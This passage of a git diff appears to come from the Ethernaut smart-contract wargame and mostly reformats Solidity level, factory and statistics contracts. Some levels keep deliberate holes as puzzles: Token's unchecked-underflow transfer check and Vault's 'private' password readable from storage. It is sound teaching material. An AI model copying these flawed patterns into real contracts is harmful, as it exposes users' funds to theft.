TelephoneFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + Telephone instance = new Telephone(); + return address(instance); + } - function createInstance(address _player) override public payable returns (address) { - _player; - Telephone instance = new Telephone(); - return address(instance); - } - - function validateInstance(address payable _instance, address _player) override public view returns (bool) { - Telephone instance = Telephone(_instance); - return instance.owner() == _player; - } + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + Telephone instance = Telephone(_instance); + return instance.owner() == _player; + } } diff --git a/contracts/src/levels/Token.sol b/contracts/src/levels/Token.sol index 4be47361e..5afd99cff 100644 --- a/contracts/src/levels/Token.sol +++ b/contracts/src/levels/Token.sol @@ -2,22 +2,21 @@ pragma solidity ^0.6.0; contract Token { + mapping(address => uint256) balances; + uint256 public totalSupply; - mapping(address => uint) balances; - uint public totalSupply; + constructor(uint256 _initialSupply) public { + balances[msg.sender] = totalSupply = _initialSupply; + } - constructor(uint _initialSupply) public { - balances[msg.sender] = totalSupply = _initialSupply; - } + function transfer(address _to, uint256 _value) public returns (bool) { + require(balances[msg.sender] - _value >= 0); + balances[msg.sender] -= _value; + balances[_to] += _value; + return true; + } - function transfer(address _to, uint _value) public returns (bool) { - require(balances[msg.sender] - _value >= 0); - balances[msg.sender] -= _value; - balances[_to] += _value; - return true; - } - - function balanceOf(address _owner) public view returns (uint balance) { - return balances[_owner]; - } + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } } diff --git a/contracts/src/levels/TokenFactory.sol b/contracts/src/levels/TokenFactory.sol index fe05fe6eb..87432a826 100644 --- a/contracts/src/levels/TokenFactory.sol +++ b/contracts/src/levels/TokenFactory.sol @@ -2,22 +2,21 @@ pragma solidity ^0.6.0; -import './base/Level-06.sol'; -import './Token.sol'; +import "./base/Level-06.sol"; +import "./Token.sol"; contract TokenFactory is Level { + uint256 supply = 21000000; + uint256 playerSupply = 20; - uint supply = 21000000; - uint playerSupply = 20; + function createInstance(address _player) public payable override returns (address) { + Token token = new Token(supply); + token.transfer(_player, playerSupply); + return address(token); + } - function createInstance(address _player) override public payable returns (address) { - Token token = new Token(supply); - token.transfer(_player, playerSupply); - return address(token); - } - - function validateInstance(address payable _instance, address _player) override public returns (bool) { - Token token = Token(_instance); - return token.balanceOf(_player) > playerSupply; - } + function validateInstance(address payable _instance, address _player) public override returns (bool) { + Token token = Token(_instance); + return token.balanceOf(_player) > playerSupply; + } } diff --git a/contracts/src/levels/Vault.sol b/contracts/src/levels/Vault.sol index b458fc343..cc15f80a8 100644 --- a/contracts/src/levels/Vault.sol +++ b/contracts/src/levels/Vault.sol @@ -2,17 +2,17 @@ pragma solidity ^0.8.0; contract Vault { - bool public locked; - bytes32 private password; + bool public locked; + bytes32 private password; - constructor(bytes32 _password) { - locked = true; - password = _password; - } + constructor(bytes32 _password) { + locked = true; + password = _password; + } - function unlock(bytes32 _password) public { - if (password == _password) { - locked = false; + function unlock(bytes32 _password) public { + if (password == _password) { + locked = false; + } } - } } diff --git a/contracts/src/levels/VaultFactory.sol b/contracts/src/levels/VaultFactory.sol index caee872ec..55250bf88 100644 --- a/contracts/src/levels/VaultFactory.sol +++ b/contracts/src/levels/VaultFactory.sol @@ -2,20 +2,19 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './Vault.sol'; +import "./base/Level.sol"; +import "./Vault.sol"; contract VaultFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + bytes32 password = "A very strong secret password :)"; + Vault instance = new Vault(password); + return address(instance); + } - function createInstance(address _player) override public payable returns (address) { - _player; - bytes32 password = "A very strong secret password :)"; - Vault instance = new Vault(password); - return address(instance); - } - - function validateInstance(address payable _instance, address) override public view returns (bool) { - Vault instance = Vault(_instance); - return !instance.locked(); - } + function validateInstance(address payable _instance, address) public view override returns (bool) { + Vault instance = Vault(_instance); + return !instance.locked(); + } } diff --git a/contracts/src/levels/base/Level-05.sol b/contracts/src/levels/base/Level-05.sol index 20b0185d7..0eef0ec2b 100644 --- a/contracts/src/levels/base/Level-05.sol +++ b/contracts/src/levels/base/Level-05.sol @@ -2,9 +2,9 @@ pragma solidity ^0.5.0; -import '../../helpers/Ownable-05.sol'; +import "../../helpers/Ownable-05.sol"; contract Level is Ownable { - function createInstance(address _player) public payable returns (address); - function validateInstance(address payable _instance, address _player) public returns (bool); + function createInstance(address _player) public payable returns (address); + function validateInstance(address payable _instance, address _player) public returns (bool); } diff --git a/contracts/src/levels/base/Level-06.sol b/contracts/src/levels/base/Level-06.sol index 1e9fcb889..9ff9acd9f 100644 --- a/contracts/src/levels/base/Level-06.sol +++ b/contracts/src/levels/base/Level-06.sol @@ -2,9 +2,9 @@ pragma solidity ^0.6.0; -import 'openzeppelin-contracts-06/access/Ownable.sol'; +import "openzeppelin-contracts-06/access/Ownable.sol"; abstract contract Level is Ownable { - function createInstance(address _player) virtual public payable returns (address); - function validateInstance(address payable _instance, address _player) virtual public returns (bool); + function createInstance(address _player) public payable virtual returns (address); + function validateInstance(address payable _instance, address _player) public virtual returns (bool); } diff --git a/contracts/src/levels/base/Level-08.sol b/contracts/src/levels/base/Level-08.sol index 5c7ec1b7b..b08904002 100644 --- a/contracts/src/levels/base/Level-08.sol +++ b/contracts/src/levels/base/Level-08.sol @@ -2,9 +2,9 @@ pragma solidity ^0.8.0; -import 'openzeppelin-contracts-08/access/Ownable.sol'; +import "openzeppelin-contracts-08/access/Ownable.sol"; abstract contract Level is Ownable { - function createInstance(address _player) virtual public payable returns (address); - function validateInstance(address payable _instance, address _player) virtual public returns (bool); + function createInstance(address _player) public payable virtual returns (address); + function validateInstance(address payable _instance, address _player) public virtual returns (bool); } diff --git a/contracts/src/levels/base/Level.sol b/contracts/src/levels/base/Level.sol index 5c7ec1b7b..b08904002 100644 --- a/contracts/src/levels/base/Level.sol +++ b/contracts/src/levels/base/Level.sol @@ -2,9 +2,9 @@ pragma solidity ^0.8.0; -import 'openzeppelin-contracts-08/access/Ownable.sol'; +import "openzeppelin-contracts-08/access/Ownable.sol"; abstract contract Level is Ownable { - function createInstance(address _player) virtual public payable returns (address); - function validateInstance(address payable _instance, address _player) virtual public returns (bool); + function createInstance(address _player) public payable virtual returns (address); + function validateInstance(address payable _instance, address _player) public virtual returns (bool); } diff --git a/contracts/src/metrics/Statistics.sol b/contracts/src/metrics/Statistics.sol index 4f82fc419..187d7811e 100644 --- a/contracts/src/metrics/Statistics.sol +++ b/contracts/src/metrics/Statistics.sol @@ -1,6 +1,8 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; + +import "openzeppelin-upgradeable/proxy/utils/Initializable.sol"; + contract Statistics is Initializable { address public ethernaut; address[] public players; @@ -8,6 +10,7 @@ contract Statistics is Initializable { uint256 private globalNoOfInstancesCreated; uint256 private globalNoOfInstancesCompleted; uint256 private globalNoOfFailedSubmissions; + struct LevelInstance { address instance; bool isCompleted; @@ -15,11 +18,13 @@ contract Statistics is Initializable { uint256 timeCompleted; uint256[] timeSubmitted; } + struct Level { uint256 noOfInstancesCreated; uint256 noOfInstancesSubmitted_Success; uint256 noOfSubmissions_Failed; } + mapping(address => uint256) private globalNoOfLevelsCompletedByPlayer; mapping(address => uint256) private globalNoOfInstancesCreatedByPlayer; mapping(address => uint256) private globalNoOfInstancesCompletedByPlayer; @@ -31,41 +36,47 @@ contract Statistics is Initializable { mapping(address => bool) private playerExists; mapping(address => bool) private levelExists; mapping(address => uint256) private averageTimeTakenToCompleteLevels; - event playerScoreProfile(address indexed player, uint256 indexed averageCompletionTime, uint256 indexed globalLevelsCompleted); + + event playerScoreProfile( + address indexed player, uint256 indexed averageCompletionTime, uint256 indexed globalLevelsCompleted + ); + modifier levelExistsCheck(address level) { require(doesLevelExist(level), "Level doesn't exist"); _; } + modifier levelDoesntExistCheck(address level) { require(!doesLevelExist(level), "Level already exists"); _; } + modifier playerExistsCheck(address player) { require(doesPlayerExist(player), "Player doesn't exist"); _; } + modifier onlyEthernaut() { - require( - msg.sender == ethernaut, - "Only Ethernaut can call this function" - ); + require(msg.sender == ethernaut, "Only Ethernaut can call this function"); _; } + function initialize(address _ethernautAddress) public initializer { ethernaut = _ethernautAddress; } // Protected functions - function createNewInstance( - address instance, - address level, - address player - ) external onlyEthernaut levelExistsCheck(level) { + + function createNewInstance(address instance, address level, address player) + external + onlyEthernaut + levelExistsCheck(level) + { if (!doesPlayerExist(player)) { players.push(player); playerExists[player] = true; } // If it is the first instance of the level - if(playerStats[player][level].instance == address(0)) { + if (playerStats[player][level].instance == address(0)) { levelFirstInstanceCreationTime[player][level] = block.timestamp; } playerStats[player][level] = LevelInstance( @@ -81,34 +92,24 @@ contract Statistics is Initializable { globalNoOfInstancesCreated++; globalNoOfInstancesCreatedByPlayer[player]++; } - function submitSuccess( - address instance, - address level, - address player - ) external onlyEthernaut levelExistsCheck(level) playerExistsCheck(player) { - require( - playerStats[player][level].instance != address(0), - "Instance for the level is not created" - ); - require( - playerStats[player][level].instance == instance, - "Submitted instance is not the created one" - ); - require( - playerStats[player][level].isCompleted == false, - "Level already completed" - ); + + function submitSuccess(address instance, address level, address player) + external + onlyEthernaut + levelExistsCheck(level) + playerExistsCheck(player) + { + require(playerStats[player][level].instance != address(0), "Instance for the level is not created"); + require(playerStats[player][level].instance == instance, "Submitted instance is not the created one"); + require(playerStats[player][level].isCompleted == false, "Level already completed"); // If it is the first submission in the level - if(levelFirstCompletionTime[player][level] == 0) { + if (levelFirstCompletionTime[player][level] == 0) { globalNoOfLevelsCompletedByPlayer[player]++; levelFirstCompletionTime[player][level] = block.timestamp; uint256 totalNoOfLevelsCompletedByPlayer = globalNoOfLevelsCompletedByPlayer[player]; - uint256 newAverageTimeTakenToCompleteLevels = updateAverageTimeTakenToCompleteLevelsByPlayer(player, level, totalNoOfLevelsCompletedByPlayer); - emit playerScoreProfile( - player, - newAverageTimeTakenToCompleteLevels, - totalNoOfLevelsCompletedByPlayer - ); + uint256 newAverageTimeTakenToCompleteLevels = + updateAverageTimeTakenToCompleteLevelsByPlayer(player, level, totalNoOfLevelsCompletedByPlayer); + emit playerScoreProfile(player, newAverageTimeTakenToCompleteLevels, totalNoOfLevelsCompletedByPlayer); } playerStats[player][level].timeSubmitted.push(block.timestamp); playerStats[player][level].timeCompleted = block.timestamp; @@ -117,38 +118,29 @@ contract Statistics is Initializable { globalNoOfInstancesCompleted++; globalNoOfInstancesCompletedByPlayer[player]++; } - function submitFailure( - address instance, - address level, - address player - ) external onlyEthernaut levelExistsCheck(level) playerExistsCheck(player) { - require( - playerStats[player][level].instance != address(0), - "Instance for the level is not created" - ); - require( - playerStats[player][level].instance == instance, - "Submitted instance is not the created one" - ); - require( - playerStats[player][level].isCompleted == false, - "Level already completed" - ); + + function submitFailure(address instance, address level, address player) + external + onlyEthernaut + levelExistsCheck(level) + playerExistsCheck(player) + { + require(playerStats[player][level].instance != address(0), "Instance for the level is not created"); + require(playerStats[player][level].instance == instance, "Submitted instance is not the created one"); + require(playerStats[player][level].isCompleted == false, "Level already completed"); playerStats[player][level].timeSubmitted.push(block.timestamp); levelStats[level].noOfSubmissions_Failed++; globalNoOfFailedSubmissions++; globalNoOfFailedSubmissionsByPlayer[player]++; } - function saveNewLevel(address level) - external - levelDoesntExistCheck(level) - onlyEthernaut - { + + function saveNewLevel(address level) external levelDoesntExistCheck(level) onlyEthernaut { levelExists[level] = true; levels.push(level); } // Player specific metrics // number of levels created by player + function getTotalNoOfLevelInstancesCreatedByPlayer(address player) public view @@ -158,6 +150,7 @@ contract Statistics is Initializable { return globalNoOfInstancesCreatedByPlayer[player]; } // number of levels completed by player + function getTotalNoOfLevelInstancesCompletedByPlayer(address player) public view @@ -167,6 +160,7 @@ contract Statistics is Initializable { return globalNoOfInstancesCompletedByPlayer[player]; } // number of levels failed by player + function getTotalNoOfFailedSubmissionsByPlayer(address player) public view @@ -175,6 +169,7 @@ contract Statistics is Initializable { { return globalNoOfFailedSubmissionsByPlayer[player]; } + function getTotalNoOfLevelsCompletedByPlayer(address player) public view @@ -184,22 +179,18 @@ contract Statistics is Initializable { return globalNoOfLevelsCompletedByPlayer[player]; } // number of failed submissions of a specific level by player (0 if player didn't play the level) - function getTotalNoOfFailuresForLevelAndPlayer( - address level, - address player - ) + + function getTotalNoOfFailuresForLevelAndPlayer(address level, address player) public view playerExistsCheck(player) levelExistsCheck(level) returns (uint256) { - return - playerStats[player][level].instance != address(0) - ? playerStats[player][level].timeSubmitted.length - : 0; + return playerStats[player][level].instance != address(0) ? playerStats[player][level].timeSubmitted.length : 0; } // Is a specific level completed by a specific player ? + function isLevelCompleted(address player, address level) public view @@ -210,6 +201,7 @@ contract Statistics is Initializable { return playerStats[player][level].isCompleted; } // How much time a player took to complete a level (in seconds) + function getTimeElapsedForCompletionOfLevel(address player, address level) public view @@ -218,106 +210,97 @@ contract Statistics is Initializable { returns (uint256) { require(levelFirstCompletionTime[player][level] != 0, "Level not completed"); - return - levelFirstCompletionTime[player][level] - levelFirstInstanceCreationTime[player][level]; + return levelFirstCompletionTime[player][level] - levelFirstInstanceCreationTime[player][level]; } // Get a specific submission time per level and player // Useful to measure differences between submissions time - function getSubmissionsForLevelByPlayer( - address player, - address level, - uint256 index - ) + + function getSubmissionsForLevelByPlayer(address player, address level, uint256 index) public view playerExistsCheck(player) levelExistsCheck(level) returns (uint256) { - require( - playerStats[player][level].timeSubmitted.length >= index, - "Index outbounded" - ); + require(playerStats[player][level].timeSubmitted.length >= index, "Index outbounded"); return playerStats[player][level].timeSubmitted[index]; } // Percentage of total levels completed by player (1e18 = 100%) - function getPercentageOfLevelsCompleted(address player) - public - view - playerExistsCheck(player) - returns (uint256) - { + + function getPercentageOfLevelsCompleted(address player) public view playerExistsCheck(player) returns (uint256) { // Changed from 100 to 1e18 otherwise when levels.length > 100 this will round to 0 always - return - (getTotalNoOfLevelsCompletedByPlayer(player) * 1e18) / - levels.length; + return (getTotalNoOfLevelsCompletedByPlayer(player) * 1e18) / levels.length; } // Function to update the average time elapsed for all player's completed levels on first successful submission - function updateAverageTimeTakenToCompleteLevelsByPlayer(address player, address level, uint256 totalNoOfLevelsCompletedByPlayer) private returns (uint256) { + + function updateAverageTimeTakenToCompleteLevelsByPlayer( + address player, + address level, + uint256 totalNoOfLevelsCompletedByPlayer + ) private returns (uint256) { uint256 lastAverageTime = averageTimeTakenToCompleteLevels[player]; uint256 newAverageTimeTakenToCompleteLevels; uint256 timeTakenForThisSuccessfulSubmission; - timeTakenForThisSuccessfulSubmission = levelFirstCompletionTime[player][level] - levelFirstInstanceCreationTime[player][level]; + timeTakenForThisSuccessfulSubmission = + levelFirstCompletionTime[player][level] - levelFirstInstanceCreationTime[player][level]; //now, set the average time value in the mapping via evaluating its current value; if (averageTimeTakenToCompleteLevels[player] == 0) { averageTimeTakenToCompleteLevels[player] = timeTakenForThisSuccessfulSubmission; } else { - newAverageTimeTakenToCompleteLevels = ((lastAverageTime * (totalNoOfLevelsCompletedByPlayer-1)) + timeTakenForThisSuccessfulSubmission)/totalNoOfLevelsCompletedByPlayer; + newAverageTimeTakenToCompleteLevels = ( + (lastAverageTime * (totalNoOfLevelsCompletedByPlayer - 1)) + timeTakenForThisSuccessfulSubmission + ) / totalNoOfLevelsCompletedByPlayer; averageTimeTakenToCompleteLevels[player] = newAverageTimeTakenToCompleteLevels; } return newAverageTimeTakenToCompleteLevels; } // Game specific metrics + function getTotalNoOfLevelInstancesCreated() public view returns (uint256) { return globalNoOfInstancesCreated; } + function getTotalNoOfLevelInstancesCompleted() public view returns (uint256) { return globalNoOfInstancesCompleted; } + function getTotalNoOfFailedSubmissions() public view returns (uint256) { return globalNoOfFailedSubmissions; } + function getTotalNoOfPlayers() public view returns (uint256) { return players.length; } - function getNoOfFailedSubmissionsForLevel(address level) - public - view - levelExistsCheck(level) - returns (uint256) - { + + function getNoOfFailedSubmissionsForLevel(address level) public view levelExistsCheck(level) returns (uint256) { return levelStats[level].noOfSubmissions_Failed; } - function getNoOfInstancesForLevel(address level) - public - view - levelExistsCheck(level) - returns (uint256) - { + + function getNoOfInstancesForLevel(address level) public view levelExistsCheck(level) returns (uint256) { return levelStats[level].noOfInstancesCreated; } - function getNoOfCompletedSubmissionsForLevel(address level) - public - view - levelExistsCheck(level) - returns (uint256) - { + + function getNoOfCompletedSubmissionsForLevel(address level) public view levelExistsCheck(level) returns (uint256) { return levelStats[level].noOfInstancesSubmitted_Success; } // Internal functions + function doesLevelExist(address level) public view returns (bool) { return levelExists[level]; } + function doesPlayerExist(address player) public view returns (bool) { return playerExists[player]; } - function getTotalNoOfEthernautLevels() public view returns(uint256) { + + function getTotalNoOfEthernautLevels() public view returns (uint256) { return levels.length; } - function getAverageTimeTakenToCompleteLevels(address player) public view returns(uint256) { + + function getAverageTimeTakenToCompleteLevels(address player) public view returns (uint256) { return averageTimeTakenToCompleteLevels[player]; } - + /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. diff --git a/contracts/src/metrics/StatisticsLevelSuperseder.sol b/contracts/src/metrics/StatisticsLevelSuperseder.sol index 0e0517373..e03cf3c7d 100644 --- a/contracts/src/metrics/StatisticsLevelSuperseder.sol +++ b/contracts/src/metrics/StatisticsLevelSuperseder.sol @@ -1,8 +1,8 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; -import "@openzeppelin/contracts/access/Ownable.sol"; +import "openzeppelin-upgradeable/proxy/utils/Initializable.sol"; +import "openzeppelin-contracts-08/access/Ownable.sol"; contract StatisticsLevelSuperseder is Initializable { address public ethernaut; @@ -11,6 +11,7 @@ contract StatisticsLevelSuperseder is Initializable { uint256 private globalNoOfInstancesCreated; uint256 private globalNoOfInstancesCompleted; uint256 private globalNoOfFailedSubmissions; + struct LevelInstance { address instance; bool isCompleted; @@ -18,11 +19,13 @@ contract StatisticsLevelSuperseder is Initializable { uint256 timeCompleted; uint256[] timeSubmitted; } + struct Level { uint256 noOfInstancesCreated; uint256 noOfInstancesSubmitted_Success; uint256 noOfSubmissions_Failed; } + mapping(address => uint256) private globalNoOfLevelsCompletedByPlayer; mapping(address => uint256) private globalNoOfInstancesCreatedByPlayer; mapping(address => uint256) private globalNoOfInstancesCompletedByPlayer; @@ -34,15 +37,15 @@ contract StatisticsLevelSuperseder is Initializable { mapping(address => bool) private playerExists; mapping(address => bool) private levelExists; mapping(address => uint256) private averageTimeTakenToCompleteLevels; - + /* Level substitution logic storage */ - bool onMaintenance; + bool onMaintenance; uint256 public usersArrayIndex; address public oldLevelContractAddress; address public newLevelContractAddress; address public operator; - enum DumpStage{ + enum DumpStage { INIT, SET_ADDRESSES, LEVEL_FIRST_INSTANCE_CREATION_TIME, @@ -56,70 +59,72 @@ contract StatisticsLevelSuperseder is Initializable { DumpStage public dumpStage; modifier onlyOperator() { - require( - msg.sender == operator, - "Only operator account can call this function" - ); + require(msg.sender == operator, "Only operator account can call this function"); _; } - - event playerScoreProfile(address indexed player, uint256 indexed averageCompletionTime, uint256 indexed globalLevelsCompleted); - + event playerScoreProfile( + address indexed player, uint256 indexed averageCompletionTime, uint256 indexed globalLevelsCompleted + ); + modifier levelExistsCheck(address level) { require(doesLevelExist(level), "Level doesn't exist"); _; } + modifier levelDoesntExistCheck(address level) { require(!doesLevelExist(level), "Level already exists"); _; } + modifier playerExistsCheck(address player) { require(doesPlayerExist(player), "Player doesn't exist"); _; } + modifier onlyEthernaut() { - require( - msg.sender == ethernaut, - "Only Ethernaut can call this function" - ); + require(msg.sender == ethernaut, "Only Ethernaut can call this function"); _; } + function initialize(address _ethernautAddress, address _operator) public initializer { ethernaut = _ethernautAddress; } // Protected functions - function createNewInstance( - address instance, - address level, - address player - ) external onlyEthernaut levelExistsCheck(level) { - revert("Contract locked due maintenance operations"); - } - function submitSuccess( - address instance, - address level, - address player - ) external onlyEthernaut levelExistsCheck(level) playerExistsCheck(player) { + + function createNewInstance(address instance, address level, address player) + external + onlyEthernaut + levelExistsCheck(level) + { revert("Contract locked due maintenance operations"); } - function submitFailure( - address instance, - address level, - address player - ) external onlyEthernaut levelExistsCheck(level) playerExistsCheck(player) { + + function submitSuccess(address instance, address level, address player) + external + onlyEthernaut + levelExistsCheck(level) + playerExistsCheck(player) + { revert("Contract locked due maintenance operations"); } - function saveNewLevel(address level) + + function submitFailure(address instance, address level, address player) external - levelDoesntExistCheck(level) onlyEthernaut + levelExistsCheck(level) + playerExistsCheck(player) { + revert("Contract locked due maintenance operations"); + } + + function saveNewLevel(address level) external levelDoesntExistCheck(level) onlyEthernaut { levelExists[level] = true; levels.push(level); } // Player specific metrics // number of levels created by player + function getTotalNoOfLevelInstancesCreatedByPlayer(address player) public view @@ -129,6 +134,7 @@ contract StatisticsLevelSuperseder is Initializable { return globalNoOfInstancesCreatedByPlayer[player]; } // number of levels completed by player + function getTotalNoOfLevelInstancesCompletedByPlayer(address player) public view @@ -138,6 +144,7 @@ contract StatisticsLevelSuperseder is Initializable { return globalNoOfInstancesCompletedByPlayer[player]; } // number of levels failed by player + function getTotalNoOfFailedSubmissionsByPlayer(address player) public view @@ -146,6 +153,7 @@ contract StatisticsLevelSuperseder is Initializable { { return globalNoOfFailedSubmissionsByPlayer[player]; } + function getTotalNoOfLevelsCompletedByPlayer(address player) public view @@ -155,22 +163,18 @@ contract StatisticsLevelSuperseder is Initializable { return globalNoOfLevelsCompletedByPlayer[player]; } // number of failed submissions of a specific level by player (0 if player didn't play the level) - function getTotalNoOfFailuresForLevelAndPlayer( - address level, - address player - ) + + function getTotalNoOfFailuresForLevelAndPlayer(address level, address player) public view playerExistsCheck(player) levelExistsCheck(level) returns (uint256) { - return - playerStats[player][level].instance != address(0) - ? playerStats[player][level].timeSubmitted.length - : 0; + return playerStats[player][level].instance != address(0) ? playerStats[player][level].timeSubmitted.length : 0; } // Is a specific level completed by a specific player ? + function isLevelCompleted(address player, address level) public view @@ -181,6 +185,7 @@ contract StatisticsLevelSuperseder is Initializable { return playerStats[player][level].isCompleted; } // How much time a player took to complete a level (in seconds) + function getTimeElapsedForCompletionOfLevel(address player, address level) public view @@ -189,131 +194,129 @@ contract StatisticsLevelSuperseder is Initializable { returns (uint256) { require(levelFirstCompletionTime[player][level] != 0, "Level not completed"); - return - levelFirstCompletionTime[player][level] - levelFirstInstanceCreationTime[player][level]; + return levelFirstCompletionTime[player][level] - levelFirstInstanceCreationTime[player][level]; } // Get a specific submission time per level and player // Useful to measure differences between submissions time - function getSubmissionsForLevelByPlayer( - address player, - address level, - uint256 index - ) + + function getSubmissionsForLevelByPlayer(address player, address level, uint256 index) public view playerExistsCheck(player) levelExistsCheck(level) returns (uint256) { - require( - playerStats[player][level].timeSubmitted.length >= index, - "Index outbounded" - ); + require(playerStats[player][level].timeSubmitted.length >= index, "Index outbounded"); return playerStats[player][level].timeSubmitted[index]; } // Percentage of total levels completed by player (1e18 = 100%) - function getPercentageOfLevelsCompleted(address player) - public - view - playerExistsCheck(player) - returns (uint256) - { + + function getPercentageOfLevelsCompleted(address player) public view playerExistsCheck(player) returns (uint256) { // Changed from 100 to 1e18 otherwise when levels.length > 100 this will round to 0 always - return - (getTotalNoOfLevelsCompletedByPlayer(player) * 1e18) / - levels.length; + return (getTotalNoOfLevelsCompletedByPlayer(player) * 1e18) / levels.length; } // Function to update the average time elapsed for all player's completed levels on first successful submission - function updateAverageTimeTakenToCompleteLevelsByPlayer(address player, address level, uint256 totalNoOfLevelsCompletedByPlayer) private returns (uint256) { + + function updateAverageTimeTakenToCompleteLevelsByPlayer( + address player, + address level, + uint256 totalNoOfLevelsCompletedByPlayer + ) private returns (uint256) { uint256 lastAverageTime = averageTimeTakenToCompleteLevels[player]; uint256 newAverageTimeTakenToCompleteLevels; uint256 timeTakenForThisSuccessfulSubmission; - timeTakenForThisSuccessfulSubmission = levelFirstCompletionTime[player][level] - levelFirstInstanceCreationTime[player][level]; + timeTakenForThisSuccessfulSubmission = + levelFirstCompletionTime[player][level] - levelFirstInstanceCreationTime[player][level]; //now, set the average time value in the mapping via evaluating its current value; if (averageTimeTakenToCompleteLevels[player] == 0) { averageTimeTakenToCompleteLevels[player] = timeTakenForThisSuccessfulSubmission; } else { - newAverageTimeTakenToCompleteLevels = ((lastAverageTime * (totalNoOfLevelsCompletedByPlayer-1)) + timeTakenForThisSuccessfulSubmission)/totalNoOfLevelsCompletedByPlayer; + newAverageTimeTakenToCompleteLevels = ( + (lastAverageTime * (totalNoOfLevelsCompletedByPlayer - 1)) + timeTakenForThisSuccessfulSubmission + ) / totalNoOfLevelsCompletedByPlayer; averageTimeTakenToCompleteLevels[player] = newAverageTimeTakenToCompleteLevels; } return newAverageTimeTakenToCompleteLevels; } // Game specific metrics + function getTotalNoOfLevelInstancesCreated() public view returns (uint256) { return globalNoOfInstancesCreated; } + function getTotalNoOfLevelInstancesCompleted() public view returns (uint256) { return globalNoOfInstancesCompleted; } + function getTotalNoOfFailedSubmissions() public view returns (uint256) { return globalNoOfFailedSubmissions; } + function getTotalNoOfPlayers() public view returns (uint256) { return players.length; } - function getNoOfFailedSubmissionsForLevel(address level) - public - view - levelExistsCheck(level) - returns (uint256) - { + + function getNoOfFailedSubmissionsForLevel(address level) public view levelExistsCheck(level) returns (uint256) { return levelStats[level].noOfSubmissions_Failed; } - function getNoOfInstancesForLevel(address level) - public - view - levelExistsCheck(level) - returns (uint256) - { + + function getNoOfInstancesForLevel(address level) public view levelExistsCheck(level) returns (uint256) { return levelStats[level].noOfInstancesCreated; } - function getNoOfCompletedSubmissionsForLevel(address level) - public - view - levelExistsCheck(level) - returns (uint256) - { + + function getNoOfCompletedSubmissionsForLevel(address level) public view levelExistsCheck(level) returns (uint256) { return levelStats[level].noOfInstancesSubmitted_Success; } // Internal functions + function doesLevelExist(address level) public view returns (bool) { return levelExists[level]; } + function doesPlayerExist(address player) public view returns (bool) { return playerExists[player]; } - function getTotalNoOfEthernautLevels() public view returns(uint256) { + + function getTotalNoOfEthernautLevels() public view returns (uint256) { return levels.length; } - function getAverageTimeTakenToCompleteLevels(address player) public view returns(uint256) { + + function getAverageTimeTakenToCompleteLevels(address player) public view returns (uint256) { return averageTimeTakenToCompleteLevels[player]; } /* Level substituition logic */ - function setOperator(address _operator) public { //called through TUP UpgradeAndCall + function setOperator(address _operator) public { + //called through TUP UpgradeAndCall require(dumpStage == DumpStage.INIT, "Not correct dump stage"); usersArrayIndex = 0; operator = _operator; onMaintenance = true; - + dumpStage = DumpStage.SET_ADDRESSES; - } + } - function setSubstitutionAddresses(address _oldLevelContractAddress, address _newLevelContractAddress) public onlyOperator { + function setSubstitutionAddresses(address _oldLevelContractAddress, address _newLevelContractAddress) + public + onlyOperator + { require(dumpStage == DumpStage.SET_ADDRESSES, "Not correct dump stage"); require(levelExists[_oldLevelContractAddress], "Address to be superseded is not an existing level"); require(_newLevelContractAddress != address(0), "New level address can't be 0"); require(_oldLevelContractAddress != _newLevelContractAddress, "Addesses can't be equal"); - require(_oldLevelContractAddress != levels[levels.length-1], "Old address can't be last level address"); + require(_oldLevelContractAddress != levels[levels.length - 1], "Old address can't be last level address"); oldLevelContractAddress = _oldLevelContractAddress; newLevelContractAddress = _newLevelContractAddress; } function dumpLevelFirstInstanceCreationTime() public onlyOperator { - require(dumpStage == DumpStage.LEVEL_FIRST_INSTANCE_CREATION_TIME || dumpStage == DumpStage.SET_ADDRESSES, "Not correct dump stage"); + require( + dumpStage == DumpStage.LEVEL_FIRST_INSTANCE_CREATION_TIME || dumpStage == DumpStage.SET_ADDRESSES, + "Not correct dump stage" + ); - if(dumpStage == DumpStage.SET_ADDRESSES) { + if (dumpStage == DumpStage.SET_ADDRESSES) { dumpStage = DumpStage.LEVEL_FIRST_INSTANCE_CREATION_TIME; } @@ -326,7 +329,7 @@ contract StatisticsLevelSuperseder is Initializable { do { timestamp = levelFirstInstanceCreationTime[players[_usersArrayIndex]][_oldLevelContractAddress]; - if(timestamp > 0) { + if (timestamp > 0) { levelFirstInstanceCreationTime[players[_usersArrayIndex]][_newLevelContractAddress] = timestamp; levelFirstInstanceCreationTime[players[_usersArrayIndex]][_oldLevelContractAddress] = 0; } @@ -334,37 +337,34 @@ contract StatisticsLevelSuperseder is Initializable { _usersArrayIndex++; } while (gasleft() > 53000 && !(_usersArrayIndex == players.length)); - - if(_usersArrayIndex == players.length) { + if (_usersArrayIndex == players.length) { dumpStage = DumpStage.LEVEL_FIRST_COMPLETION_TIME; usersArrayIndex = 0; } else { usersArrayIndex = _usersArrayIndex; } } - + function dumpLevelFirstCompletionTime() public onlyOperator { require(dumpStage == DumpStage.LEVEL_FIRST_COMPLETION_TIME, "Not correct dump stage"); address _oldLevelContractAddress = oldLevelContractAddress; address _newLevelContractAddress = newLevelContractAddress; uint256 _usersArrayIndex = usersArrayIndex; - + uint256 timestamp; do { timestamp = levelFirstCompletionTime[players[_usersArrayIndex]][_oldLevelContractAddress]; - if(timestamp > 0) { - + if (timestamp > 0) { levelFirstCompletionTime[players[_usersArrayIndex]][_newLevelContractAddress] = timestamp; levelFirstCompletionTime[players[_usersArrayIndex]][_oldLevelContractAddress] = 0; } _usersArrayIndex++; } while (gasleft() > 53000 && !(_usersArrayIndex == players.length)); - - - if(_usersArrayIndex == players.length) { + + if (_usersArrayIndex == players.length) { dumpStage = DumpStage.PLAYER_STATS; usersArrayIndex = 0; } else { @@ -380,15 +380,19 @@ contract StatisticsLevelSuperseder is Initializable { uint256 _usersArrayIndex = usersArrayIndex; LevelInstance memory levelInstanceEmpty; LevelInstance memory actualInstance; - + do { actualInstance = playerStats[players[_usersArrayIndex]][_oldLevelContractAddress]; - 